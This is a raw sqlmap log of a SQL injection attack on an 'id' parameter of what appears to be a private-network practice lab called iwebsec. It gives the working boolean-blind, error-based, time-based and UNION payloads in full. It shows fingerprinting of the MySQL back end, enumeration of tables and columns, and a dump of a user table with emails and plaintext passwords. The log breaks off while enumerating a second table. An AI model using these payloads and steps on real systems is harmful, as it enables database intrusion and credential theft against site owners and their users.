[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (IN)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONVERT)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONVERT)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR error-based - WHERE or HAVING clause (XMLType)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR error-based - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR error-based - WHERE or HAVING clause (DBMS_UTILITY.SQLID_TO_SQLHASH)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird AND error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird OR error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'MonetDB AND error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'MonetDB OR error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Vertica AND error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Vertica OR error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 AND error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 OR error-based - WHERE or HAVING clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL error-based - Parameter replace' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL error-based - Parameter replace (GENERATE_SERIES)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase error-based - Parameter replace' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase error-based - Parameter replace (integer column)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle error-based - Parameter replace' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird error-based - Parameter replace' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 error-based - Parameter replace' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL error-based - ORDER BY, GROUP BY clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL error-based - ORDER BY, GROUP BY clause (GENERATE_SERIES)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase error-based - ORDER BY clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle error-based - ORDER BY, GROUP BY clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird error-based - ORDER BY clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 error-based - ORDER BY clause' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase error-based - Stacking (EXEC)' because the payload for error-based has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL inline queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase inline queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle inline queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'SQLite inline queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Firebird inline queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 stacked queries (comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 stacked queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL stacked queries (heavy query - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL stacked queries (heavy query)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL < 8.2 stacked queries (Glibc - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL < 8.2 stacked queries (Glibc)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase stacked queries (comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase stacked queries (DECLARE - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase stacked queries' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase stacked queries (DECLARE)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (heavy query - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (heavy query)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (DBMS_LOCK.SLEEP - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (DBMS_LOCK.SLEEP)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (USER_LOCK.SLEEP - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Oracle stacked queries (USER_LOCK.SLEEP)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 stacked queries (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 stacked queries (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 stacked queries (heavy query - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 stacked queries (heavy query)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Firebird stacked queries (heavy query - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'Firebird stacked queries (heavy query)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB stacked queries (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB stacked queries (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 stacked queries (heavy query - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 stacked queries (heavy query)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 2.0 stacked queries (heavy query - comment)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 2.0 stacked queries (heavy query)' because its declared DBMS is different than identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 AND time-based blind' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 OR time-based blind' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 AND time-based blind (comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 OR time-based blind (comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase time-based blind (IF)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase time-based blind (IF - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND time-based blind' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR time-based blind' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND time-based blind (comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR time-based blind (comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird >= 2.0 AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird >= 2.0 OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird >= 2.0 AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird >= 2.0 OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB > 2.0 AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB > 2.0 OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB > 2.0 AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB > 2.0 OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix AND time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix OR time-based blind (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix AND time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix OR time-based blind (heavy query - comment)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 time-based blind - Parameter replace' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle time-based blind - Parameter replace (DBMS_PIPE.RECEIVE_MESSAGE)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle time-based blind - Parameter replace (heavy queries)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SQLite > 2.0 time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Firebird time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'SAP MaxDB time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'IBM DB2 time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB > 2.0 time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Informix time-based blind - Parameter replace (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL > 8.1 time-based blind - ORDER BY, GROUP BY clause' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'PostgreSQL time-based blind - ORDER BY, GROUP BY clause (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_PIPE.RECEIVE_MESSAGE)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'Oracle time-based blind - ORDER BY, GROUP BY clause (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB >= 1.7.2 time-based blind - ORDER BY, GROUP BY clause (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [DEBUG] skipping test 'HSQLDB > 2.0 time-based blind - ORDER BY, GROUP BY clause (heavy query)' because the payload for time-based blind has already been identified
[09:13:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:13:06] [PAYLOAD] > LIKE 5.0.12
[09:13:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:13:06] [PAYLOAD] 1 ORDER BY 1-- -
[09:13:06] [PAYLOAD] 1 ORDER BY 7553-- -
[09:13:06] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:13:06] [PAYLOAD] 1 ORDER BY 10-- -
[09:13:06] [PAYLOAD] 1 ORDER BY 6-- -
[09:13:06] [PAYLOAD] 1 ORDER BY 4-- -
[09:13:06] [PAYLOAD] 1 ORDER BY 3-- -
[09:13:06] [INFO] target URL appears to have 3 columns in query
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,0x4d4b526677736a50497951716654486356625873476d666f785345616a6767506c4149484c76685a,0x7176767171),NULL-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,0x4d4b526677736a50497951716654486356625873476d666f785345616a6767506c4149484c76685a,0x7176767171),NULL UNION ALL SELECT NULL,CONCAT(0x7176787171,0x446841765a4375784b56474c63656c58736e7169487266625958415964626176416b535158726d41,0x7176767171),NULL-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,0x4d4b526677736a50497951716654486356625873476d666f785345616a6767506c4149484c76685a,0x7176767171),NULL FROM (SELECT 0 AS ifKk UNION SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4 UNION SELECT 5 UNION SELECT 6 UNION SELECT 7 UNION SELECT 8 UNION SELECT 9 UNION SELECT 10 UNION SELECT 11 UNION SELECT 12 UNION SELECT 13 UNION SELECT 14) AS mhyI-- -
[09:13:06] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
[09:13:06] [DEBUG] skipping test 'Generic UNION query (random number) - 1 to 20 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (NULL) - 21 to 40 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (random number) - 21 to 40 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (NULL) - 41 to 60 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (random number) - 41 to 60 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (NULL) - 61 to 80 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (random number) - 61 to 80 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (NULL) - 81 to 100 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'Generic UNION query (random number) - 81 to 100 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (NULL) - 1 to 20 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (random number) - 1 to 20 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (NULL) - 21 to 40 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (random number) - 21 to 40 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (NULL) - 41 to 60 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (random number) - 41 to 60 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (NULL) - 61 to 80 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (random number) - 61 to 80 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (NULL) - 81 to 100 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] skipping test 'MySQL UNION query (random number) - 81 to 100 columns' because the payload for UNION query has already been identified
[09:13:06] [DEBUG] checking for parameter length constraining mechanisms
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (4631 LIKE 4631) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 1 query in 0.02 seconds
[09:13:06] [DEBUG] checking for filtered characters
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
[09:13:06] [DEBUG] used the default behavior, running in batch mode
sqlmap identified the following injection point(s) with a total of 48 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (9771=9771) THEN 1 ELSE (SELECT 2364 UNION SELECT 5247) END))
    Vector: (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE (SELECT [RANDNUM1] UNION SELECT [RANDNUM2]) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 4063 FROM(SELECT COUNT(*),CONCAT(0x7176787171,(SELECT (ELT(4063=4063,1))),0x7176767171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 6421 FROM (SELECT(SLEEP(5)))KXRK)
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x7176787171,0x4d4b526677736a50497951716654486356625873476d666f785345616a6767506c4149484c76685a,0x7176767171),NULL-- -
    Vector:  UNION ALL SELECT NULL,[QUERY],NULL-- -
---
[09:13:06] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[09:13:06] [INFO] the back-end DBMS is MySQL
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 1 query in 0.01 seconds
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (VERSION() LIKE 0x255469444225) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 1 query in 0.01 seconds
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (@@VERSION_COMMENT LIKE 0x256472697a7a6c6525) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 1 query in 0.01 seconds
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (@@VERSION_COMMENT LIKE 0x25506572636f6e6125) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 1 query in 0.01 seconds
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] turning off NATIONAL CHARACTER casting
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,(CASE WHEN (AURORA_VERSION() LIKE 0x25) THEN 1 ELSE 0 END),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
web server operating system: Linux CentOS 6
web application technology: PHP 5.2.17, Apache 2.2.15
back-end DBMS: MySQL >= 5.0
[09:13:06] [INFO] fetching current database
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x7176767171),NULL-- -
[09:13:06] [DEBUG] performed 1 query in 0.01 seconds
current database: 'iwebsec'
[09:13:06] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[09:13:06] [INFO] fetching current database
[09:13:06] [INFO] fetching tables for database: 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,table_name)),0x7176767171),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x69776562736563)-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(table_name AS CHAR),0x20),0x7176767171),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x69776562736563)-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,column_name,column_type)),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x73716c69 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(column_name AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(column_type AS CHAR),0x20),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x73716c69 AND table_schema LIKE 0x69776562736563-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
[09:13:06] [DEBUG] stripping ORDER BY clause from statement because it does not play well with UNION query SQL injection
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,email,id,password,username)),0x7176767171),NULL FROM iwebsec.sqli-- -
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,IFNULL(CAST(email AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(id AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(password AS CHAR),0x20),0x706a7a7a6671,IFNULL(CAST(username AS CHAR),0x20),0x7176767171),NULL FROM iwebsec.sqli-- -
[09:13:06] [DEBUG] performed 2 queries in 0.02 seconds
[09:13:06] [DEBUG] analyzing table dump for possible password hashes
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[09:13:06] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[09:13:06] [INFO] fetching columns for table 'user' in database 'iwebsec'
[09:13:06] [PAYLOAD] 1 UNION ALL SELECT NULL,CONCAT(0x7176787171,JSON_ARRAYAGG(CONCAT_WS(0x706a7a7a6671,column_name,column_type)),0x7176767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name LIKE 0x75736572 AND table_schema LIKE 0x69776562736563-- -
